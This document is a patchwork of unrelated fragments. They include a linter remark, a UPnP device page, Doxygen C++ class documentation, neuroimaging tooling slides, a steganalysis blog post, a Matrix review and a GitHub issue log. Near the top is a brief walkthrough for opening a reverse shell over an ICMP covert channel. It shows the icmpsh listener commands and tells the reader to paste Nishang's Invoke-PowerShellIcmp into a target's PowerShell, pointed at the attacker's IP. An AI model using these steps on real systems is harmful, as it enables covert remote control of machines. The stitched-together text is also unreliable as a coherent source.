We plan to continue using PVS-Studio, in conjunction with the other static analysis tools we already use. Again, thanks to the PVS-Studio team for providing us with license and a copy of their software.


https://msitpros.com/?p=3877
ICMP is just one possible covert channel, it could for instance be DNS if the adversary preferred that.
ICMPSH tool ported to Python by Bernardo Damele. The tool was originally made by Nico Leidecker – http://www.leidecker.info/
First on my attacker machine I turn of ICMP replies. Don’t want to mess up the Covert Channel sending junk…
Off command: sysctl -w net.ipv4.icmp_echo_ignore_all=1
On command: sysctl -w net.ipv4.icmp_echo_ignore_all=0
Clone the ICMPSH github project
Start server side using the python script within the ICMPSH project.
Python icmpsh_m.py x.x.x.x y.y.y.y
Nishang PowerShellICMP for Windows clients (targets). The code can be found here (thanks Nikhil Mittal for awesome work):
https://raw.githubusercontent.com/samratashok/nishang/master/Shells/Invoke-PowerShellIcmp.ps1
Take the code and paste it into a Powershell window on the client. The Powershell does not need to be elevated and the user does not need to be a local administrator.
Invoke with:
Invoke-PowerShellIcmp -IPAddress <LIP>


UPnP Dimmer Light Device 1.0
Variable
Value
Device Name
UDN
Type
Description
Manufacturer Name
Manufacturer URL
Model Name
Model Number
ModelURL
SerialNumber
UPC
Use buttons below to change the state of the device.
Please enter an integer between 0 - 100:


#include <ChipSelect.h>
◆ ChipSelect()
| cubesat::ChipSelect::ChipSelect |
( |
const std::vector< std::string > & |
cs_pin_keys | ) |
|
|
inline |
Creates a ChipSelect object.
- Parameters
-
| cs_pin_keys | The pin keys, stored in big endian order |
◆ Acquire()
| void cubesat::ChipSelect::Acquire |
( |
unsigned int |
address | ) |
|
|
inline |
Selects a chip at the given address.
- Parameters
-
| address | The address (big endian) |
◆ cs_gpios
| std::vector<GPIO> cubesat::ChipSelect::cs_gpios |
|
private |
◆ cs_pin_keys
| std::vector<std::string> cubesat::ChipSelect::cs_pin_keys |
|
private |
The BeagleBone GPIO pin keys (e.g. P9_14)
The documentation for this class was generated from the following file:
- /home/osboxes/cosmos/source/projects/cubesat-kit/include/device/ChipSelect.h


Implements a module-name alias facility (i.e., user-provided names. Given that the basic units is scHThread class, the programmer has three ways to refers to a scHThread. (the scHThread is owned by an scGridPoint, so a hthread name is given as [Owner ID]/[HThread ID] The default one is just the sequence number or SystemC module name.
This is a processor class comprising communicating scGridPoint classes. Comprises and handles the scGridPoint modules in the grid points. This implements the gridpoint-to-gridpoint communication: The grid comprises cluster heads and members, and enjoys the advantages of the topological proximity.
- See also
- scHThread::StringOfDefaultName_Get
-
scHThread::StringOfClusterName_Get
-
scHThread::StringOfAliasName_Get
-
scHThread::StringOfName_Get
The internal array scProcessor::mAliases stores all possible names, so scHThread::StringOfName_Get with any form of name will return a pointer to the same scHThread. (it is the user's responsibility to NOT select system-conventional names)
The scProcessor class receives the signals from the scGridPoint modules through its input ports. The module stores the actual values of those signals in the corresponding SC_GRIDPOINT_MASK_TYPE, and receives signals TopologySignal_t through the TopologySignalPort_t array
Comprises scGridPoint modules, but no real calculational functionality
- Parameters
-
| nm | The SystemC name |
| Specials | some special scGridPoints (enables to handle heterogenous topologies) |
| StandAlone | true if some part shall be executed here otherwise in the subclass |
* |AbstractTopology
* |--/scProcessor
* |----/AbstractProcessor
* |....../XXProcessor (Y86, RISCV)
* |....../NeurerProcessor (Y86, RISCV)
*
|
| bool | Alias_Add (string A, scHThread *HT) |
| |
|
scGridPoint * | ByIndex_Get (const int X, const int Y) |
| | Get an scGridPoint by its indices.
|
| |
| scGridPoint * | ByPointer_Get (scGridPoint *GP) |
| |
|
virtual scGridPoint * | ChildAllocateFor (scGridPoint *Parent, CorePreference_t Pref=cpt_AnyCore) |
| | Allocate a core with preference.
|
| |
|
scGridPoint * | ChildFindFor (scGridPoint *Parent, CorePreference_t CPT) |
| | find an scGridPoint for this parent
|
| |
|
scGridPoint * | ChildPreAllocateFor (scGridPoint *Parent, CorePreference_t Pref=cpt_AnyCore) |
| | Allocate a core with preference.
|
| |
| virtual scGridPoint * | doQCREATE (scGridPoint *TheParent, scGridPoint *TheChild, SC_GRIDPOINT_MASK_TYPE CloneMask, SC_GRIDPOINT_MASK_TYPE BackLinkMask, CorePreference_t CPT) |
| | scGridPoint::doQCREATE Create a new QT for TheParent, allocate a core if TheChild is NULL More...
|
| |
|
void | HandleAliases (string FileName) |
| | HandleAliases() Handle the special case when aliases are to be read from a file.
|
| |
| void | HandleAliasesPass (string FileName, bool Pass2) |
| | HandleAliasesPass In the first pass, only adds the alias name to the known names. In the second pass, initializes the aliased objects. More...
|
| |
| scHThread * | HThreadFindFor (scHThread *Parent, HThreadPreference_t HPT) |
| | scProcessor::HThreadFindFor More...
|
| |
| void | Populate (vector< scGridPoint * > &Specials) |
| |
| virtual void | ReadTheThreeLevels (QString MyGroup) |
| | ReadTheThreeLevels.  More...
|
| |
| GridPoint * | ByClusterAddress_Get (ClusterAddress_t C) |
| | Get a GridPoint pointer given by its ClusterAddress_t C, a specialized integer (network-like address) More...
|
| |
| GridPoint * | ByClusterMember_Get (unsigned short int CN, ClusterNeighbor CM=cm_Head, ClusterNeighbor CP=cm_Head) |
| |
| GridPoint * | ByClusterPointer_Get (GridPoint *P, ClusterNeighbor CM=cm_Head) |
| | Return the pointer corresponding to the in-cluster member CM of cluster. More...
|
| |
|
GridPoint * | ByID_Get (const int N) |
| | Get a gridpoint by its absolute sequence number and thread.
|
| |
|
GridPoint * | ByIndex_Get (const int X, const int Y) |
| | Get a gridpoint defined by its indices (!NOT position)
|
| |
|
GridPoint * | ByPosition_Get (int X, int Y) |
| | Get a gridpoint by its topological position (NOT index!)
|
| |
| void | Cluster_Create (GridPoint *P) |
| | Create a new cluster at GridPoint P. More...
|
| |
| void | Cluster_Create (int X, int Y) |
| | Create a new cluster at coordinates X,Y. More...
|
| |
|
ClusterAddress_t | ClusterAddress_Get (GridPoint *P) |
| | Return the cluster address of the point P.
|
| |
|
ClusterAddress_t | ClusterAddressFromLinear_Get (int N) |
| | Return the cluster address of the Nth point.
|
| |
| GridPoint * | ClusterHead_Get (unsigned int N) |
| | Return pointer to the cluster head of the Nth cluster. More...
|
| |
|
GridPoint * | ClusterHeadOfMember_Get (GridPoint *GP) |
| | Return the cluster head of GridPoint GP.
|
| |
|
ClusterStatus | ClusterStatus_Get (GridPoint *P, ClusterNeighbor N) |
| | Return status of neighbor N relative to GridPoint P.
|
| |
| void | ClusterStatus_Set (GridPoint *P, ClusterNeighbor N, ClusterStatus S) |
| | Set cluster status upon creation. More...
|
| |
|
void | CreateClusters (void) |
| | Create clusters from the elements of the rectangular grid. This routine works perfectly ONLY for a 10*6 sized grid!!
|
| |
| string | StringOfClusterAddress_Get (GridPoint *GP) |
| | Return the string describing GridPoint GP in its ClusterAddress_t form. More...
|
| |
scProcessor::HThreadFindFor
- Parameters
-
| [in] | Parent | the potential parent |
| [in] | HPT | the preferred HThread (clustered) type |
- Returns
- the requested HThread that can be allocated or NULL if not found
The core preferences can be: hpt_Head, hpt_GridPoint, hpt_Cluster, hpt_Any 1./ a thread from a cluster head (the most limited resource) 2./ a thread from the same scGridPoint (ordinary members first) 3./ a thread from the cluster where the scGridPoint is (ordinary members first) 4./ any available HThread
In the simplest form, get the next available core, with the lowest sequence number. Can be replaced by considering temperature, utilization, etc find an scHThread for this parent


name: inverse layout: true class: center, middle, inverse --- # New Innovations in the Field ### ~90min --- name: content class: center, middle layout: false # Roadmap ## BIDS ### [BIDS structure](#datamanage) | [BIDS converters](#heudiconv) | [BIDS validator](#validator) | [BIDS extensions](#bidsextensions) | [pyBIDS](#pybids) ## BIDS Apps ### [BIDSonym](#bidsonym) | [MRIQC](#mriqc) | [fMRIPrep](#fmriprep) | [fmriflows](#fmriflows) | [C-PAC](#cpac) | [Mindboggle](#mindboggle) ## Reproducibility ### [Neurodocker](#neurodocker) | [Openneuro](#openneuro) | [Neurovault](#neurovault) | [Datalad](#datalad) ### [Porcupine](#porcupine) ### [Neurostars](#neurostars) --- ## Data Management #### How do you manage your data? - storage, structure, metadata, version control? -- #### How do you share your data? - colleagues, students, other researchers? -- #### The Problem with heterogeneity in data management - hard for others (and you) to understand your data and keep track of changes - unnecessary metadata input - codes / scripts have to be adapted - huge effort to automate workflows and no way to automatically validate data sets - sharing data becomes a hustle --- name: datamanage ## [BIDS](http://bids.neuroimaging.io/) - Brain Imaging Data Structure A new standard for organizing & describing neuroimaging & behavioral data -- ### Benefits of BIDS - easy for other people to work on your data (for collaborations or contract changes) -- - growing number of data analysis software packages that understand BIDS -- - databases such as OpenNeuro, LORIS, COINS, XNAT, SciTran, and others accept and export datasets organized according to BIDS -- - Validation tools that can check your dataset integrity and let you easily spot missing values --- ## [BIDS](http://bids.neuroimaging.io/) - Brain Imaging Data Structure ### What does it look like?
.right[*Gorgolewski, K. J. et al. 2016*] --- ## [BIDS](http://bids.neuroimaging.io/) - Brain Imaging Data Structure ### BIDS contains: participant information
--- ## [BIDS](http://bids.neuroimaging.io/) - Brain Imaging Data Structure ### BIDS contains: data files (neuroimaging / behavioral)
--- ## [BIDS](http://bids.neuroimaging.io/) - Brain Imaging Data Structure ### BIDS contains: study specific JSON files (sequence & paradigm)
--- name: heudiconv ## BIDS converters There are two ways you can get your data into BIDS structure: **1. Data already converted and no access to DICOMs** - write a code snippet that reorganizes and renames the data - old fashion way (manual copy / paste) -- **2. Still access to DICOMs (data may or may not already be converted)** - use BIDS converters to get your data into shape - advantage that they also extract a vast amount of important metadata --- ## BIDS converters There are a lot of BIDS converters you can choose from (list is growing): - [AFNI BIDS-tools](https://github.com/nih-fmrif/bids-b0-tools) - [BIDS2ISATab](https://github.com/INCF/BIDS2ISATab) - [BIDSto3col](https://github.com/INCF/bidsutils/tree/master/BIDSto3col) - [BIDS2NDA](https://github.com/INCF/BIDS2NDA) - [bidskit](https://github.com/jmtyszka/bidskit) - [dac2bids](https://github.com/dangom/dac2bids) - [Dcm2Bids](https://github.com/cbedetti/Dcm2Bids) - [DCM2NIIx](https://github.com/neurolabusc/dcm2niix) - [DICM2NII](https://de.mathworks.com/matlabcentral/fileexchange/42997-dicom-to-nifti-converter--nifti-tool-and-viewer) - **[HeuDiConv](https://github.com/nipy/heudiconv) <- we can recommend** - [OpenfMRI2BIDS](https://github.com/INCF/openfmri2bids) - [ReproIn](https://github.com/ReproNim/reproin) (HeuDiConv-based turnkey solution) - [bids2xar](https://github.com/lwallace23/bids2xar) (for XNAT import) - [XNAT2BIDS](https://github.com/kamillipi/2bids) - [Horos (Osirix) export plugin](https://github.com/mslw/horos-bids-output) - [BIDS2NIDM](https://github.com/incf-nidash/PyNIDM/blob/master/nidm/experiment/tools/NIDM2BIDSMRI.py) --- name: validator ## [BIDS validator](http://incf.github.io/bids-validator/) - Is it BIDS yet? Use BIDS validator to validate your dataset structure **and** data - 3 ways -- #### [web validator](http://incf.github.io/bids-validator/) - Open [https://incf.github.io/bids-validator/](https://github.com/INCF/bids-validator) via Google Chrome or Mozilla Firefox (currently the only supported browsers) - Select folder with your BIDS dataset (no data is uploaded!) --- ## [BIDS validator](http://incf.github.io/bids-validator/) - web validator
--- ## [BIDS validator](http://incf.github.io/bids-validator/) - web validator
--- ## [BIDS validator](http://incf.github.io/bids-validator/) - web validator
--- ## [BIDS validator](http://incf.github.io/bids-validator/) - web validator
--- ## [BIDS validator](http://incf.github.io/bids-validator/) - Is it BIDS yet? Use BIDS validator to validate your dataset structure **and** data - 3 ways #### [web validator](http://incf.github.io/bids-validator/) - Open [https://incf.github.io/bids-validator/](https://github.com/INCF/bids-validator) via Google Chrome or Mozilla Firefox (currently the only supported browsers) - Select folder with your BIDs dataset (no data is uploaded!) -- #### command line version - package - install [node.js](https://nodejs.org/en/) - install `bids-validator` package using `pip`: `pip install -g bids-validator` - run bids-validator on your dataset -- #### command line version - docker - get the docker image: `docker pull bids/validator` - run `docker run -ti --rm -v /path/to/data:/data:ro bids/validator /data` --- name: pybids ## [PyBIDS](https://github.com/INCF/pybids) - Python library to centralize interactions with datasets conforming BIDS format - Install via `pip install pybids` -- #### Use as follows: ```python from bids.grabbids import BIDSLayout layout = BIDSLayout("/ds0114/") ``` ```python # Get number of subjects layout.get_subjects() >>> ['01', '02', '03', '04', '05', '06', '07', '08', '09', '10'] ``` ```python # Get specific files layout.get(subject='01', modality="anat", session="test") >>> [File(filename='/ds0114/sub-01/ses-test/anat/sub-01_ses-test_T1w.nii.gz', subject='01', session='test', type='T1w', modality='anat'), File(filename='/ds0114/sub-01/ses-test/anat/sub-01_ses-test_T1w_bet.nii.gz', subject='01', session='test', type='bet', modality='anat')] ``` --- name: bidsextensions ## BIDS extensions - [Positron Emission Tomography (PET)](https://docs.google.com/document/d/1mqMLnxVdLwZjDd4ZiWFqjEAmOmfcModA_R535v3eQs0) - [Common Derivatives](https://docs.google.com/document/d/1Wwc4A6Mow4ZPPszDIWfCUCRNstn7d_zzaWPcfcHmgI4) - [Models Specification](https://docs.google.com/document/d/1bq5eNDHTb6Nkx3WUiOBgKvLNnaa5OMcGtD0AZ9yms2M) - [Magnetoencephalography (MEG)](https://docs.google.com/document/d/1FWex_kSPWVh_f4rKgd5rxJmxlboAPtQlmBc1gyZlRZM) - [Electroencephalography (EEG)](https://docs.google.com/document/d/1ArMZ9Y_quTKXC-jNXZksnedK2VHHoKP3HCeO5HPcgLE) - [intracranial Electroencephalography (iEEG)](https://docs.google.com/document/d/1qMUkoaXzRMlJuOcfTYNr3fTsrl4SewWjffjMD5Ew6GY) - [Eye Tracking including Gaze Position and Pupil Size](https://docs.google.com/document/d/1eggzTCzSHG3AEKhtnEDbcdk-2avXN6I94X8aUPEBVsw) - [Susceptibility Weighted Imaging (SWI)](https://docs.google.com/document/d/1kyw9mGgacNqeMbp4xZet3RnDhcMmf4_BmRgKaOkO2Sc) - [Genetic information](https://docs.google.com/document/d/1uRkgyzESLKuGjXi98Z97Wh6vt-iLN5nOAb9TG16CjUs) - [Microelectrode Recordings (MER)](https://docs.google.com/document/d/14KC1d5-Lx-7ZSMtwS7pVAAvz-2WR_uoo5FvsNirzqJw) --- name: bidsapps ## [BIDS Apps](http://bids-apps.neuroimaging.io) Container image capturing neuroimaging pipeline that takes BIDS as input -- - each BIDS app has the same core set of command line arguments -- - does not depend on any software outside of the image other than the container engine -- - deposited in the Docker Hub repository (openly accessible) -- - each app is versioned and all of the historical versions are available to download (easy to switch between versions) -- - by reporting the BIDS App name and version in a manuscript, authors can provide others with the ability to exactly replicate their analysis -- - works on Linux, macOS, windows -- - can be transformed into singularity containers for applications on HPCs --- name: bidsapps ## [BIDS Apps](http://bids-apps.neuroimaging.io) Container image capturing neuroimaging pipeline that takes BIDS as input
--- name: bidsonym ## [BIDSonym](https://github.com/PeerHerholz/BIDSonym) - deidentification is a necessary prerequisite for data sharing and enforced by all data sharing platforms -- - this includes: - defacing - metadata deletion
-- ``` docker run -i --rm -v /Users/peer/ds005:/bids_dataset bids/bidsonym /bids_dataset participant --deid pydeface --del_nodeface no_del --del_meta 'InstitutionAddress' --participant_label 01 ``` --- name: mriqc ## [MRIQC](http://mriqc.readthedocs.io/en/latest/) - the problem? The quality of MRI data is not necessarily good - **Quality Control is important!**
.left[
[*Esteban, O., FMRIPREP and MRIQC Focus at Stanford, January 2017](https://www.slideshare.net/OscarEsteban5/fmriprep-mriqc-focus-mriqc)
] --- ## [MRIQC](http://mriqc.readthedocs.io/en/latest/) - How to do MRI Quality Control Check manually? Possible, but time consuming -> **Solution: Use [MRIQC](http://mriqc.readthedocs.io/en/latest/)** -- - objective evaluation of your data (based on huge comparison dataset) - completely automated workflow (available via Docker / BIDS App) - extraction of structural and functional image quality metrics (IQMs): - physical phantoms ([Price et al., 1990](http://dx.doi.org/10.1118/1.596566)) - no-reference image quality metrics ([Woodard and Carley-Spencer, 2006](http://doi.org/10.1385/NI:4:3:243)) - aim artifacts and analyze noise distribution ([Mortamet et al., 2009](http://doi.org/10.1002/mrm.21992)) - combined general volumetric and artifact-targeted IQMs ([Pizarro et al., 2016](https://doi.org/10.3389/fninf.2016.00052)) - IQMs and visual reports per subject, as well as the whole group --- ## [MRIQC](http://mriqc.readthedocs.io/en/latest/) - anatomical workflow
.left[
*[MRIQC docs](https://mriqc.readthedocs.io/en/latest/workflows.html), (C) Esteban, O.
] --- ## [MRIQC](http://mriqc.readthedocs.io/en/latest/) - anatomical IQMs
.left[
*[Esteban, O., FMRIPREP and MRIQC Focus at Stanford, January 2017](https://www.slideshare.net/OscarEsteban5/fmriprep-mriqc-focus-mriqc)
] --- ## [MRIQC](http://mriqc.readthedocs.io/en/latest/) - functional workflow
.left[
*[MRIQC docs](https://mriqc.readthedocs.io/en/latest/workflows.html), (C) Esteban, O.
] --- ## [MRIQC](http://mriqc.readthedocs.io/en/latest/) - functional IQMs
.left[
*[Esteban, O., FMRIPREP and MRIQC Focus at Stanford, January 2017](https://www.slideshare.net/OscarEsteban5/fmriprep-mriqc-focus-mriqc)
] --- ## [MRIQC](http://mriqc.readthedocs.io/en/latest/) - classifier for T1w images MRIQC is released with two classifiers (already trained) to predict image quality of T1w images Trained on [ABIDE](http://fcon_1000.projects.nitrc.org/indi/abide/) and [DS030](https://openfmri.org/dataset/ds000030/) Predicts the quality labels (0="accept", 1="reject") on a features table computed by mriqc The command itself: `mriqc_clf --load-classifier -X aMRIQC.csv` Also possible to build and train custom classifiers --- ## [MRIQC](http://mriqc.readthedocs.io/en/latest/) - visual reports Check out the two examples to see how a visual report looks like: - [Group Anatomical Report](http://web.stanford.edu/group/poldracklab/mriqc/reports/anat_group.html) - [Group Functional Report](http://web.stanford.edu/group/poldracklab/mriqc/reports/func_group.html) -- ## [MRIQC](http://mriqc.readthedocs.io/en/latest/) - how to run it ``` docker run -it --rm -v
:/data:ro -v
:/out poldracklab/mriqc:latest /data /out participant --participant_label 001 002 003 ``` --- name: fmriprep ## [fMRIPrep](http://fmriprep.readthedocs.io/en/latest/index.html) - What is it? fully automated fMRI data preprocessing tool state-of-the-art interfaces robust to variations in scan acquisition protocols easy interpretable and comprehensive error and output reporting "glass" rather than "black" box .left[
[*Gorgolewski, K. J., presentaion at Stanford, January 2017](https://www.slideshare.net/chrisfilo1/fmriprep-robust-and-easy-to-use-fmri-preprocessing-pipeline)
] --- ## [fMRIPrep](http://fmriprep.readthedocs.io/en/latest/index.html) - What does it do?
--- ## [fMRIPrep](http://fmriprep.readthedocs.io/en/latest/index.html) - Where do I sign,... I mean start? #### Visual reports - [Example report](http://fmriprep.readthedocs.io/en/latest/_static/sample_report.html) - [AROMA component classification example](http://fmriprep.readthedocs.io/en/latest/_images/aroma.svg) -- #### Run it - You can install fMRIPrep on your system with pip - You can run fMRIPrep via docker / singularity containers - You can run fMRIPrep via [OpenNeuro.org](https://openneuro.org/) -- #### For everything else - Check out [http://fmriprep.readthedocs.io](http://fmriprep.readthedocs.io/en/latest/index.html) --- ## [fMRIPrep](http://fmriprep.readthedocs.io/en/latest/index.html) - Where do I sign,... I mean start? ``` sudo docker run -it --rm -v /path/to/data/:/data:ro -v /path/to/output/:/out -v /usr/local/freesurfer/license.txt:/fs_license poldracklab/fmriprep /data /out participant --bold2t1w-dof 6 --output-spaces func T1w MNI152NLin2009cAsym fsnative fsaverage --use-aroma --skull-strip-template MNI152NLin2009cAsym --fs-license-file /fs_license --cifti-output --write-graph --participant_label 01 ``` --- ## [fmriflows](https://github.com/miykael/fmriflows) #### Preprocessing - anatomical
--- ## [fmriflows](https://github.com/miykael/fmriflows) #### Preprocessing - anatomical
--- ## [fmriflows](https://github.com/miykael/fmriflows) #### Preprocessing - anatomical
--- ## [fmriflows](https://github.com/miykael/fmriflows) #### Preprocessing - functional
--- ## [fmriflows](https://github.com/miykael/fmriflows) #### Preprocessing - functional
--- ## [fmriflows](https://github.com/miykael/fmriflows) #### Preprocessing - functional
--- ## [fmriflows](https://github.com/miykael/fmriflows) #### Preprocessing - functional
--- ## [fmriflows](https://github.com/miykael/fmriflows) #### Preprocessing - functional
--- ## [fmriflows](https://github.com/miykael/fmriflows) #### Preprocessing - functional
--- ## [fmriflows](https://github.com/miykael/fmriflows) #### Preprocessing - functional
--- ## [fmriflows](https://github.com/miykael/fmriflows) #### Analyses
--- ## [fmriflows](https://github.com/miykael/fmriflows) #### Analyses
--- ## [fmriflows](https://github.com/miykael/fmriflows) #### Analyses
--- ## [fmriflows](https://github.com/miykael/fmriflows) #### Analyses
--- ## [fmriflows](https://github.com/miykael/fmriflows) #### Analyses
--- ## [fmriflows](https://github.com/miykael/fmriflows) #### How to run it? ``` docker run -it --rm -p 8888:8888 -v /path/to/data:/data miykael/fmriflows ``` --- name: cpac ## [C-PAC](https://fcp-indi.github.io) - configurable pipeline for the analysis of connectomes -- - pipeline to automate preprocessing and analysis of large-scale datasets - most cutting-edge functional connectivity preprocessing and analysis algorithms - configurable to enable "plurality" – evaluate different processing parameters and strategies - automatically identifies and takes advantage of parallelism on multi-threaded, multi-core, and cluster architectures - "warm restarts" – only re-compute what has changed - open science – open source .left[
*[cpac docs](http://fcp-indi.github.io/docs/user/index.html)
] --- ## [C-PAC](https://fcp-indi.github.io) - What can it do? .center[
] .left[
*[cpac docs](http://fcp-indi.github.io/docs/user/index.html)
] --- ## [C-PAC](https://fcp-indi.github.io) - How to run it? - run C-PAC using the default settings ``` docker run -i --rm \ -v /Users/You/local_bids_data:/bids_dataset \ -v /Users/You/some_folder:/outputs \ -v /tmp:/scratch \ fcpindi/c-pac:latest /bids_dataset /outputs participant ``` -- - run C-PAC using a custom pipeline generated by you through C-PAC ``` docker run -i --rm \ -v /Users/You/local_bids_data:/bids_dataset \ -v /Users/You/some_folder:/outputs \ -v /tmp:/scratch \ -v /Users/You/Documents:/configs \ -v /Users/You/resources:/resources \ fcpindi/c-pac:latest /bids_dataset /outputs participant --pipeline_file /configs/pipeline_config.yml ``` --- name: mindboggle ## [Mindboggle](http://www.mindboggle.info) - What is it? - a comprehensive and extensive pipeline for structural images - computes & outputs volume, surface, and tabular data containing label, feature, and shape information for further analysis - combines [FreeSurfer](https://surfer.nmr.mgh.harvard.edu/) and [ANTs](https://github.com/stnava/ANTs/) - available via Docker, BIDS app or native installation - Attention: extremely high computational cost! .left[
*[mindboggle docs](http://www.mindboggle.info) & [mindboggle paper](https://doi.org/10.1371/journal.pcbi.1005350)
] --- ## [Mindboggle](http://www.mindboggle.info) - What is it?
.left[
*[mindboggle docs](http://www.mindboggle.info) & [mindboggle paper](https://doi.org/10.1371/journal.pcbi.1005350)
] --- ## [Mindboggle](http://www.mindboggle.info) - What is it?
.left[
*[mindboggle docs](http://www.mindboggle.info) & [mindboggle paper](https://doi.org/10.1371/journal.pcbi.1005350)
] --- ## [Mindboggle](http://www.mindboggle.info) - What is it?
.left[
*[mindboggle docs](http://www.mindboggle.info) & [mindboggle paper](https://doi.org/10.1371/journal.pcbi.1005350)
] --- ## [Mindboggle](http://www.mindboggle.info) - What is it?
.left[
*[mindboggle docs](http://www.mindboggle.info) & [mindboggle paper](https://doi.org/10.1371/journal.pcbi.1005350)
] --- ## [Mindboggle](http://www.mindboggle.info) - What is it?
.left[
*[mindboggle docs](http://www.mindboggle.info) & [mindboggle paper](https://doi.org/10.1371/journal.pcbi.1005350)
] --- ## [Mindboggle](http://www.mindboggle.info) - What is it?
.left[
*[mindboggle docs](http://www.mindboggle.info) & [mindboggle paper](https://doi.org/10.1371/journal.pcbi.1005350)
] --- ## [Mindboggle](http://www.mindboggle.info) - What is it?
.left[
*[mindboggle docs](http://www.mindboggle.info) & [mindboggle paper](https://doi.org/10.1371/journal.pcbi.1005350)
] --- ## [Mindboggle](http://www.mindboggle.info) - What is it?
.left[
*[mindboggle docs](http://www.mindboggle.info) & [mindboggle paper](https://doi.org/10.1371/journal.pcbi.1005350)
] --- ## [Mindboggle](http://www.mindboggle.info) - How to run it? ``` docker run -ti -v path/to/data/:/home/jovyan/work/data bids/mindboggle /home/jovyan/work/data /home/jovyan/work/data/derivatives/ participant ``` --- name: neurodocker ## [Neurodocker](https://github.com/kaczmarj/neurodocker) - What is it? Neurodocker is a command-line program that generates custom Dockerfiles and Singularity recipes for neuroimaging and minifies existing containers Allows you to quickly install: - AFNI - ANTs - Convert3D - dcm2niix - FreeSurfer - FSL - Matlab Compiler Runtime (i.e. no license needed) - MINC - Miniconda -> all python packages you want - MRtrix3 - NeuroDebian - PETPVC - SPM12 --- ## [Neurodocker](https://github.com/kaczmarj/neurodocker) - How does it work? Here an example that installs FSL, ANTs, SPM12, nipype, nilearn, etc.
--- ## [Neurodocker](https://github.com/kaczmarj/neurodocker) - How does it work? The corresponding Dockerfile afterwards looks something like this:
--- name: openneuro ## [Openneuro](https://openneuro.org/) - What is it?
It's best to show you: [https://openneuro.org/](https://openneuro.org/) --- name: neurovault ## [Neurovault](https://neurovault.org/) A public repository of unthresholded statistical maps, parcellations, and atlases of the brain As an example:
--- name: datalad ## [Datalad](http://datalad.org/) Providing a data portal and a versioning system for everyone, DataLad lets you have your data and control it too.  Easy with datalad `datalad search female 'bids:age(years):[20 TO 30]' T1w` -- - Only download and store the files locally that you need at the moment with `get` and `drop` -- - Publish your own data and make it easily accessible for everyone. Check out all [datalad datasets](http://datasets.datalad.org/) -- - And there is more: Store every command / step that you do in your dataset (like git version control) --- name: Giraffe tools ## [Giraffe tools](https://giraffe.tools/) -- ### [Armadillo](https://giraffe.tools/armadillo/TimVanMourik/GiraffePlayground/master)
-- ### [Porcupine](https://giraffe.tools/porcupine/TimVanMourik/GiraffePlayground/master) - a GUI for Nipype
.left[
*[by Tim van Mourik](https://github.com/TimVanMourik/Porcupine), check the [Porcupine paper here](https://doi.org/10.1371/journal.pcbi.1006064)
] --- name: neurostars ## [Neurostars](https://neurostars.org) Very simple: **a question and answer site for neuroinformatics** Ask any neuroimaging question and get answer usually within a 2-24 Our own StackOverflow
--- layout: true class: center, middle, inverse --- name: questions # Questions?


How I monkey patch timm models to achieve SOTA steganalysis models
Our paper “Improving EfficientNet for JPEG Steganalysis” is accepted at IH&MMSEC21! We show that certain “surgical modifications” aimed at maintaining the input resolution in EfficientNet architectures significantly boost their performance in JPEG steganalysis.
In practice, we monkey patch timm models to increase the number of layers operating on the full input resolution. Here is an example of one of the modifications we propose: the post stem insertion.
The EfficientNet layers are pertained on ImageNet, while the inserted ResNet layers (and the FC) are randomly initialized. We show in the paper that pretraining the whole architecture isn’t needed. Surprising, right?
We compare the modified EfficientNets with the vanilla nets, as well as the winner model of the ALASKA II competition (SE-ReSnet 18 with stem pooling & strides disabled) in terms of FLOPs, and Memory needed to train using a batch size of 8 (although this is not a batch size we recommend, we typically used a minimum batch size of 24).
On the ALASKA II dataset (figures below), the post-stem modification boosts the performance while keeping the computational cost and the memory requirements reasonable by increasing the number of unpooled layers in the architecture. The modified models reach state-of-the-art performance with less than 1/2 of the FLOPs of the current best model. On the BOSSBase, the post-stem modification of EfficientNet also achieves state-of-the-art performance. More details in the preprint.
PS1. Patching objects like in the code above is not best practice, but subclassing introduced a lot of boilerplate code… I would love to hear if you have a better solution for this.
PS2. We originally used Luke’s EfficientNet-PyTorch models for the paper, then switched to timm which included ready to use code for different conv blocks.


The Matrix (1999)
"Have you ever had a dream so real, that you wondered if this dream is reality or not?." Morpheus (Laurence Fishburne) said that to Neo (Keanu Reeves) in The Matrix (1999).
The story of this movie is mixing up reality and virtuality. After you seen this movie, you'll probably be wondering what is real, what is not, and all that stuff in between like hyperreality and surreality.
This is what the Wachowski brothers do with The Matrix. So many special effects that make people think whether this movie is real or a computer-animated creation. Well, a few things are real though, all the Ray-Bans worn and the Nokias used.
So this Neo is a hacker, which is the most logical explanation of how he got into this virtual, or real world. His main quest is finding Morpheus, who is like a God-Hacker. With the help of Trinity (Carrie-Anne Moss) he finds him. It turns out that Morpheus and Trinity are fighting for the human race, and Neo is likely to be The One, the one that can save the human race. Just like a reincarnation of Buddha (Hey, that was Keanu too!). Here, Neo will start all his kung-fu lessons in becoming The One, if he is the one.
 Neo and Trinity walking into a highly guarded building, shooting guards and doing tricks in slow motion, both in black, without even sweating. This scene is awesome, and I'm sure that it will be nominated for MTV's Movie Award as Best Action Sequence.
That's all I can say about the story. Oh, and what is The Matrix? Go see and find out yourself. It's worth it. At least you can choose one of the many Ray-Bans for this summer.
Indra Moeljadi<EMAIL_ADDRESS>PopCorner community, Indonesia
The review above was posted to the
rec.arts.movies.reviews newsgroup (de.rec.film.kritiken for German reviews).
The Internet Movie Database accepts no responsibility for the contents of the
review and has no editorial control. Unless stated otherwise, the copyright
belongs to the author.
Please direct comments/criticisms of the review to relevant newsgroups.
Broken URLs inthe reviews are the responsibility of the author.
The formatting of the review is likely to differ from the original due
to ASCII to HTML conversion.
Related links: index of all rec.arts.movies.reviews reviews


ready_for_review
by None at 2022-09-08 14:10:18.review_requested
by None at 2022-09-08 14:10:39.I think this ticket can be deleted as after discussion, we think a different approach would be preferable.
since we don't technically need to remove $2 viaf to export to OCLC we can actually go with the original idea of having them display the $2 viaf headings, and converting $2 uncontrolled to $2 local & displaying those as well.
test collection: https://aspace-staging.princeton.edu/staff/resources/1709/edit#tree::resource_1709
labeled
by None at 2022-09-08 16:31:41.added to items process
labeled
by None at 2022-09-08 16:32:27.Also decided in the same conversation toay, for "local" headings, we'll change ind2 to 4 and delete $2
@faithc Are these items blockers for loading the records to production in the meantime?
They are not. Thanks.
This is done, please review on catalog-staging
blocked by ongoing discussion regarding 6xx handling
looping in @phoebeno
mentioned
by None at 2022-09-08 12:45:26.subscribed
by None at 2022-09-08 12:45:26.labeled
by None at 2022-09-08 16:13:45.mentioned
by None at 2022-09-08 16:47:34.subscribed
by None at 2022-09-08 16:47:34.renamed
by Christina Chortaria at 2022-09-07 22:42:48.head_ref_force_pushed
by Christina Chortaria at 2022-09-07 22:25:24.head_ref_force_pushed
